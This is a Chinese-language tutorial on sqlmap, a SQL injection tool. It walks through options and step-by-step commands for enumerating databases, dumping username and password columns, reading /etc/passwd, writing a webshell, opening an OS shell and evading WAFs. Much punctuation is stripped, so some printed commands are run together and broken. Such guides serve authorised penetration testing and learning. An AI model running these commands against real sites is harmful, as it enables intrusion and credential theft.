sqlmap工具
这是一份关于SQLMap的详细使用文档。SQLMap 是一款开源的自动化 SQL 注入工具功能非常强大支持多种数据库MySQL, Oracle, SQL Server, PostgreSQL, SQLite 等和多种注入类型布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入。目录基础用法目标设置请求配置注入与检测数据提取与枚举高级功能绕过 WAF/IDS实用技巧与参数常用组合示例1. 基础用法最基础的用法就是加上-u参数指定目标 URL通常需要确保 URL 中带有可测试的参数如?id1。sqlmap-uhttp://example.com/page.php?id12. 目标设置SQLMap 需要知道你要测试哪里以下是指定目标的常用参数-u URL, --urlURL: 指定目标 URL。-m FILE: 从文本文件中批量读取 URL 进行扫描。-r FILE: 加载一个 HTTP 请求文件通常从 Burp Suite 导出。非常适合 POST 注入、HTTP 头注入或需要 Cookie 认证的页面。-g Google搜索语法: 利用 Google Dork 自动搜索并测试可能存在注入的站点如-g inurl:php?id。--dataDATA: 指定 POST 提交的数据如--dataid1nameadmin。3. 请求配置HTTP在真实环境中往往需要配置 HTTP 请求头才能访问到有漏洞的页面。--cookieCOOKIE: 指定 HTTP Cookie 头用于需要登录的页面。--user-agentAGENT: 指定 User-Agent。--random-agent: 使用随机生成的 User-Agent防止被简单的 UA 拦截。--hostHOST: 指定 Host 头。--refererREFERER: 指定 Referer 头。--headersHEADERS: 额外的 HTTP 头如--headersX-Forwarded-For: 127.0.0.1。--auth-typeTYPE: HTTP 认证类型Basic, Digest, NTLM。--auth-credUSER:PASS: HTTP 认证账号密码。--proxyPROXY: 使用代理如--proxyhttp://127.0.0.1:8080常用于配合 Burp 抓包。--delayDELAY: 每次请求之间的延迟秒数防止请求过快被ban默认无延迟。--timeoutTIMEOUT: 请求超时时间默认 30 秒。--retriesRETRIES: 连接失败时的重试次数默认 3 次。4. 注入与检测控制 SQLMap 如何进行测试和注入。-p TESTPARAMETER: 指定要测试的参数如-p id如果不指定SQLMap 会测试所有参数。--skipSKIP: 跳过指定的参数不进行测试。--dbmsDBMS: 指定后端数据库类型如--dbmsmysql可以大幅节省探测时间。--osOS: 指定后端操作系统类型。--levelLEVEL:测试级别1-5默认 1。Level 1: 测试 GET/POST 参数。Level 2: 测试 HTTP Cookie 头。Level 3: 测试 HTTP User-Agent/Referer 头。Level 4-5: 更多的测试 payload。--riskRISK:风险级别1-3默认 1。Risk 1: 安全的测试语句不会对数据库造成破坏。Risk 2: 基于时间的大量查询测试语句。Risk 3: 基于OR的测试语句慎用可能会修改数据库数据如UPDATE语句被注入变成修改全表。--techniqueTECH: 指定使用的注入技术默认 BEUSTQ。B: Boolean-based blind (布尔盲注)E: Error-based (报错注入)U: Union query-based (联合查询注入)S: Stacked queries (堆叠注入)T: Time-based blind (时间盲注)Q: Inline queries (内联查询)5. 数据提取与枚举确认存在注入后使用以下参数提取数据。-b, --banner: 获取数据库版本信息。--current-user: 获取当前数据库用户名。--current-db: 获取当前数据库名。--is-dba: 判断当前用户是否为 DBA管理员权限。--dbs: 枚举所有数据库名。--tables: 枚举指定数据库中的所有表需配合-D。--columns: 枚举指定表中的所有字段需配合-D和-T。--schema: 枚举数据库架构。--dump: 导出指定表的数据需配合-D和-T。--dump-all: 导出所有数据库的所有表极其耗时慎用。-D DB: 指定要操作的数据库名。-T TABLE: 指定要操作的表名。-C COL: 指定要操作的字段名如-C username,password。--startSTART: 指定导出数据的起始行。--stopSTOP: 指定导出数据的结束行如只导出前 10 条--start1 --stop10。--sql-queryQUERY: 执行自定义的 SQL 语句如--sql-querySELECT * FROM users LIMIT 5。6. 高级功能文件操作与OS Shell如果当前数据库用户权限足够高通常是 DBA可以进行更危险的操作。--file-readRFILE: 读取后端服务器上的文件如--file-read/etc/passwd。--file-writeWFILE: 写入本地文件到后端服务器需配合--file-dest。--file-destDFILE: 指定写入到后端服务器的绝对路径。示例:sqlmap -u url --file-write/shell.php --file-dest/var/www/html/shell.php--os-cmdOSCMD: 执行单条操作系统命令。--os-shell: 获取一个交互式的操作系统 Shell通常通过写一个上传脚本或 UDF 提权实现。--os-pwn: 获取一个 OOB (Out-of-Band) 的反弹 Shell结合 Metasploit 使用。7. 绕过 WAF/IDS当目标存在防护设备时可以使用以下参数尝试绕过。--tamperTAMPER: 使用混淆脚本绕过 WAF。SQLMap 自带了数十个 tamper 脚本位于tamper/目录下。常用 tamperspace2comment.py空格替换为注释、charunicodeencode.pyUnicode编码、apostrophemask.py引号编码。可同时使用多个--tamperspace2comment,charunicodeencode--random-agent: 随机 UA绕过基于 UA 的拦截。--hpp: 使用 HTTP 参数污染例如?id1id1。--delay2: 降低请求频率绕过基于频率的拦截。--proxy: 配合代理池不断更换 IP。8. 实用技巧与参数--batch:自动模式。不在测试过程中询问用户任何问题全部采用默认逻辑执行。在写脚本或无人值守时必加。--flush-session: 清空当前 URL 的会话记录重新进行测试默认 SQLMap 会读取历史测试结果。--wizard: 向导模式适合新手一步步引导你输入参数。--mobile: 模拟手机 UA。--privileges: 查看当前用户的权限。--roles: 查看当前用户的角色。9. 常用组合示例示例 1最基础的 GET 注入测试sqlmap-uhttp://example.com/news.php?id1--batch--random-agent示例 2带 Cookie 的认证后注入并指定 MySQL 数据库sqlmap-uhttp://example.com/user.php?id1--cookiePHPSESSID1234567890abcdef--dbmsMySQL--batch示例 3POST 注入使用 Burp 抓包保存为 post.txtsqlmap-rpost.txt-pusername--batch示例 4直接脱裤Dump 数据# 1. 爆库sqlmap-uhttp://example.com/news.php?id1--dbs--batch# 2. 爆表 (假设数据库名为 web_db)sqlmap-uhttp://example.com/news.php?id1-Dweb_db--tables--batch# 3. 爆字段 (假设表名为 users)sqlmap-uhttp://example.com/news.php?id1-Dweb_db-Tusers--columns--batch# 4. 爆数据 (假设字段为 username,password)sqlmap-uhttp://example.com/news.php?id1-Dweb_db-Tusers-Cusername,password--dump--batch示例 5高阶测试测试 HTTP 头高风险使用 Tamper 绕过 WAFsqlmap-uhttp://example.com/news.php?id1--level3--risk2--tamperspace2comment,randomcase--batch示例 6尝试获取 OS Shellsqlmap-uhttp://example.com/news.php?id1--os-shell--batch